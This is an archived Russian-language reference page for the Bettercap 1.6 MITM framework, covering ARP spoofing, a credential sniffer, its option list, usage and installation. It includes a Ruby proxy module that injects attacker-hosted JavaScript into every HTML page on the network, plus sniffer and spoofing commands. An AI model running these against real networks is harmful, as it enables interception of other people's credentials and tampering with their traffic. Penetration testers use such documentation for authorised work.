Bettercap 1.6
Внимание: данная статья является архивной. Новой версии bettercap 2.x посвящена страница https://kali.tools/?p=3870
Описание Bettercap
bettercap — это полный, модульный, портативный и легко расширяемый инструмент и фреймворк для MITM с диагностическими и наступательными функциями всех родов, которые могут вам понадобиться для выполнения атаки человек-посередине.
Существует ли полный, модульный, портативный и простой в расширении инструмент для атаки MITM?
Если ваш ответ “ettercap”, то давайте присмотримся к нему внимательнее:
- ettercap был отличным инструментом, но его время прошло.
- фильтры ettercap не работают в большинстве случаев, являются устаревшими и трудно реализуемыми из-за особенностей языка в котором они сделаны.
- ettercap чертовски нестабилен на больших сетях … попробуйте запустить обнаружение хостов на больших сетях — больших чем обычные /24
- да, вы можете видеть подключения и сырой материал pcap, да, отличная игрушка, но будучи профессиональным исследователем вы хотите видеть только релевантный материал.
- если вы не являетесь разработчиком на C/C++, вы не можете легко расширить ettercap или сделать ваш собственный модуль.
В действительности вы могли бы использовать более одного инструмента … может быть arpspoof для непосредственного отравления (poisoning), mitmproxy для перехвата HTTP материала и внедрения вашей полезной нагрузки и т. д. … Не знаю как вы, а автор bettercap терпеть не может когда ему приходится использовать множество инструментов просто для выполнения единичной атаки, особенно когда их все нужно слаженно работать на одном дисрибутиве — ведь при этом нарушается принцип KISS.
Поэтому и был создан bettercap …
Особенности bettercap
- Динамическое обнаружение хостов + ARP Spoofing
Вы можете нацелиться на всю сеть или на единичный известный адрес, это не важно, функции bettercap по спуфингу arp и его агент по обнаружению нескольких хостов сделают за вас грязную работу.
Просто запустите инструмент и ожидайте пока он делает свою работу … и, конечно, новые машины, которые появились в сети, будут обнаружены и проспуфлены автоматически.
Если ваш роутер имеет встроенную защиту от ARP сфуфинга, то не волнуйтесь, вы можете побороть это в полудуплексном режиме (half duplex).
- Сниффер учётных данных
Встроенный сниффер в настоящее время в состоянии анализировать и печатать следующую информацию:
- посещённые URL.
- посещённые хосты HTTPS.
- отправленные методом HTTP POST данные.
- аутентификации HTTP Basic и Digest.
- HTTP кукиз.
- учётные данные FTP.
- учётные данные IRC.
- учётные данные POP, IMAP и SMTP.
- учётные данные NTLMv1/v2 ( HTTP, SMB, LDAP и т.п. ).
- учётные данные протокола DICT.
- учётные данные MPD.
- учётные данные NNTP.
- сообщения и учётные данные DHCP.
- учётные данные входа REDIS.
- учётные данные RLOGIN.
- учётные данные SNPP.
- И другое!
Домашняя страница: bettercap.org
Автор: Simone 'evilsocket' Margaritelli*
Лицензия: GPL3
Справка по Bettercap
Испольование:
bettercap [опции]
ГЛАВНЫЕ:
-I, --interface ИНТЕРФЕЙС
Имя сетевого интерфейса — по умолчанию: eth0 [зависит от ОС]
--use-mac АДРЕС
Изменяет MAC адрес интерфейса на это значение перед выполнением атаки.
--random-mac
Изменяет MAC адрес интерфейса на случайное значение перед выполнением атаки.
-G, --gateway АДРЕС
Задать адрес шлюза вручную, если не задан, то будет получен и использован текущий шлюз.
-T, --target ADDRESS1,ADDRESS2
Целевые IP адреса, если не заданы, то целью будет вся подсеть.
--ignore ADDRESS1,ADDRESS2
Игнорировать эти адреса, если они найдены во время поиска целей.
--no-discovery
Не искать активно хосты, просто использовать текущий ARP cache, по умолчанию отключён (false).
--no-target-nbns
Отключить преобразование хоста NBNS
--packet-throttle ЧИСЛО
Количество секунд (может быть десятичным числом) для ожидания между отправкой каждого пакета.
--check-updates
Проверить, доступны ли какие-либо обновления и выйти.
-h, --help
Показать доступные опции.
ВЕДЕНИЕ ЖУРНАЛА:
-O, --log LOG_FILE
Записать все сообщения в файл, если не установлена, то все сообщения будут только выведены в шелл.
--log-timestamp
Включить запись логов с временными отметками для каждой строки, по умолчанию отключено.
-D, --debug
Включить отладку.
--silent
Подавить каждое сообщение, если это не ошибка или предупреждение, по умолчанию false.
SPOOFING:
-S, --spoofer NAME
Модуль, используемый для спуфинга, доступны: ARP, ICMP, NONE - по умолчанию: ARP.
--no-spoofing
Отключить спуфинг, псевдоним для --spoofer NONE.
--full-duplex
Включить режим дуплекса.
--kill
Вместо перенаправления пакетов, этот переключатель убъёт подключения целей.
SNIFFING:
-X, --sniffer
Включить сниффер.
-L, --local
Парсить пакеты идучие от/к адресу этого компьютера ( ВНИМАНИЕ: Установит -X в true ), по умолчанию отключено (false).
--sniffer-source ФАЙЛ
Загрузить пакеты из указанного PCAP файла вместо интерфейса ( включит сниффер ).
--sniffer-output ФАЙЛ
Сохранить все пакеты в указанный PCAP файл ( включит сниффер ).
--sniffer-filter ВЫРАЖЕНИЕ
Настроит сниффер испольовать этот BPF фильтер ( включит сниффер ).
-P, --parsers ПАРСЕР
Список парсеров для включения, разделены запятыми, "*" для всех ( ВНИМАНИЕ: Опция -X автоматически задействует все ), доступны: FTP, MYSQL, HTTPAUTH, SNMP, REDIS, POST, NTLMSS, SNPP, HTTPS, DHCP, TEAMVIEWER, IRC, MPD, WHATSAPP, MAIL, RLOGIN, URL, NNTP, PGSQL, COOKIE, DICT - по умолчанию: *
--disable-parsers ПАРСЕРЫ
Разделённый запятыми список парсеров для отключения ( ПРИМЕЧАНИЕ: Установит -X на true )
--custom-parser ВЫРАЖЕНИЕ
Использовать пользовательское регулярное выражение для захвата и показа подслушанных данных (ВНИМАНИЕ: установит -X на true ).
ПРОКСИ:
TCP:
--tcp-proxy
Включить TCP прокси ( требует указание других --tcp-proxy-* опций ).
--tcp-proxy-module МОДУЛЬ
Модуль Ruby для загрузки TCP прокси.
--tcp-proxy-port ПОРТ
Установить локальный порт TCP прокси, по умолчанию 2222 .
--tcp-proxy-upstream АДРЕС:ПОРТ
Установить адрес и порт исходящего сервера TCP прокси.
--tcp-proxy-upstream-address АДРЕС
Установить адрес сервера исходящего TCP прокси.
--tcp-proxy-upstream-port ПОРТ
Установить порт сервера исходящего TCP прокси.
HTTP:
--proxy
Включить HTTP прокси и перенаправлять все HTTP запросы на него, по умолчанию отключён (false).
--proxy-port ПОРТ
Установить порт прокси HTTP, по умолчанию 8080.
--allow-local-connections
Разрешить прямые подключения к экземпляру прокси, по умолчанию отключено (false).
--no-sslstrip
Отключить SSLStrip.
--log-http-response
Записывать в журнал HTTP ответы.
--no-http-logs
Подавлять запись логов HTTP запросов и ответов.
--proxy-module МОДУЛЬ
Модуль прокси Ruby для загрузки, может быть пользовательским файлом или одним из следующих: injectcss, injecthtml, injectjs.
--http-ports ПОРТ1,ПОРТ2
Список разделённых запятой HTTP портов для перенаправления на прокси, по умолчанию 80.
--proxy-upstream-address АДРЕС
Если установлен, только запросы пришедшие с этого адреса сервера будут перенаправлены на HTTP/HTTPS прокси.
HTTPS:
--proxy-https
Включить HTTPS прокси и перенаправлять все HTTPS запросы на него, по умолчанию отключён (false).
--proxy-https-port ПОРТ
Установить порт прокси HTTPS, по умолчанию 8083.
--proxy-pem ФАЙЛ
Использовать пользовательский файл CA сертификата PEM для прокси HTTPS, по умолчанию ~/.bettercap/bettercap-ca.pem .
--https-ports PORT1,PORT2
Разделённый запятой список HTTPS портов для перенаправления на прокси, по умолчанию 443.
ПОЛЬЗОВАТЕЛЬСКИЕ:
--custom-proxy АДРЕС
Использовать пользовательский исходящий HTTP прокси вместо встроенного.
--custom-proxy-port ПОРТ
Указать порт пользовательского исходящего прокси HTTP, по умолчанию 8080.
--custom-https-proxy АДРЕС
Использовать пользовательский исходящий HTTPS прокси вместо встроенного.
--custom-https-proxy-port ПОРТ
Указать порт пользовательского исходящего прокси HTTPS, по умолчанию 8083.
--custom-redirection ПРАВИЛО
Применить пользовательское перенаправление порта, формат правила PROTOCOL ORIGINAL_PORT NEW_PORT. Например TCP 21 2100 будет перенаправлять весь TCP трафик, идущий на порт 21, к порту 2100.
СЕРВЕРЫ:
--httpd
Включить HTTP сервер, по умолчанию отключён (false).
--httpd-port ПОРТ
Установить порт HTTP сервера, по умолчанию 8081.
--httpd-path ПУТЬ
Установить путь HTTP сервера, по умолчанию ./ .
--dns ФАЙЛ
Включить DNS сервер и использовать этот файл в качестве таблицы преобразования хостов.
--dns-port ПОРТ
Установить порт сервера DNS, по умолчанию 5300.
Недокументированные опции:
--html-file ПУТЬ
Судя по всему, внедрение HTML файла в код страницы
Руководство по Bettercap
Страница man отсутствует.
Модульные прозрачные прокси
Модульные прозрачные прокси HTTP и HTTPS могут быть запущены с аргументом --proxy, по умолчанию ничего не происходит — только записываются HTTP запросы, но если вы укажите аргумент --proxy-module вы сможете загрузить ваши собственные модули и манипулировать HTTP трафиком по своему желанию.
Вы можете найти примеры модулей в отдельном репозитории.
Примеры работы Bettercap с прозрачными прокси
Включить прокси на порту по умолчанию ( 8080 ) без модулей ( совершенно бесполезно ):
sudo bettercap --proxy
Включить прокси и использовать пользовательский порт:
sudo bettercap --proxy --proxy-port=8081
Включить прокси и использовать модуль hack_title.rb:
sudo bettercap --proxy --proxy-module=hack_title.rb
Отключить спуфер и включить прокси ( автономный режим прокси ):
sudo bettercap --no-spoofing --no-discovery --proxy
Включить HTTPS прокси с создаваемым в реальном времени сертификатом:
sudo bettercap --proxy-https
Включить HTTPS прокси с пользовательским сертификатом .pem:
sudo bettercap --proxy-https --proxy-pem ./mycert.pem
Встроенный HTTP сервер
Вы хотите сервер с вашими пользовательскими файлами javascript в сети? Может вы хотите вставить пользовательские скрипты или изображения в HTTP ответы используя модуль прозрачного прокси, но у вас нет публичного сервера для этого? Чувак, не волнуйся.
Встроенный HTTP сервер поставляется с bettercap, он позволяет иметь сервер с собственным контентом на вашей машине без установки и настройке другого программного обеспечения вроде Apache, nginx или lighttpd.
Вы можете использовать прокси модуль примерно так:
class InjectJS < Proxy::Module def on_request( request, response ) # это html страница? if response.content_type =~ /^text\/html.*/ Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page" # получаем локальный адрес интерфейса и HTTPD порт localaddr = Context.get.ifconfig[:ip_saddr] localport = Context.get.options[:httpd_port] # инжект js response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" ) end end end
И затем используйте его для инжекта файла js в каждый HTTP ответ в сети, использование самого bettercap как сервера для файла:
sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb
Примеры запуска Bettercap
Режим сниффера по умолчанию, все парсеры включены:
sudo bettercap -X
Включить сниффер и загрузить только некоторые парсеры:
sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"
Включить сниффер + все парсеры и парсить также локальный трафик:
sudo bettercap -X -L
Включить сниффер + все парсеры и дампить всё в файл pcap:
sudo bettercap --sniffer --sniffer-pcap=output.pcap
Как насчёт сохранения только HTTP трафика в pcap файл?
sudo bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter "tcp and dst port 80"
Установка Bettercap
Установка в Kali Linux
apt-get install bettercap
Установка в Debian, Ubuntu, Mint
Зависимости
Все зависимости будут автоматически установлены через систему GEM, в некоторых случаях вам понадобится установить некоторые системные зависимости, чтобы всё работало:
sudo apt install build-essential ruby-dev libpcap-dev net-tools sudo apt install ruby
Стабильный релиз ( GEM )
gem install bettercap
Релиз в разработке
git clone https://github.com/evilsocket/bettercap cd bettercap bundle install gem build bettercap.gemspec sudo gem install bettercap*.gem
Быстрый старт
После установки bettercap, сразу можно перейти к работе так:
bettercap --help
Установка в BlackArch
Программа предустановлена в BlackArch. Дополнительно следует установить:
sudo gem pristine nokogiri sudo gem pristine unf sudo gem pristine unf_ext sudo gem update sudo gem install colorize packetfu pcaprub network_interface net-dns rubydns em-proxy rmagick
Информация об установке в другие операционные системы будет добавлена позже.
Comments are Closed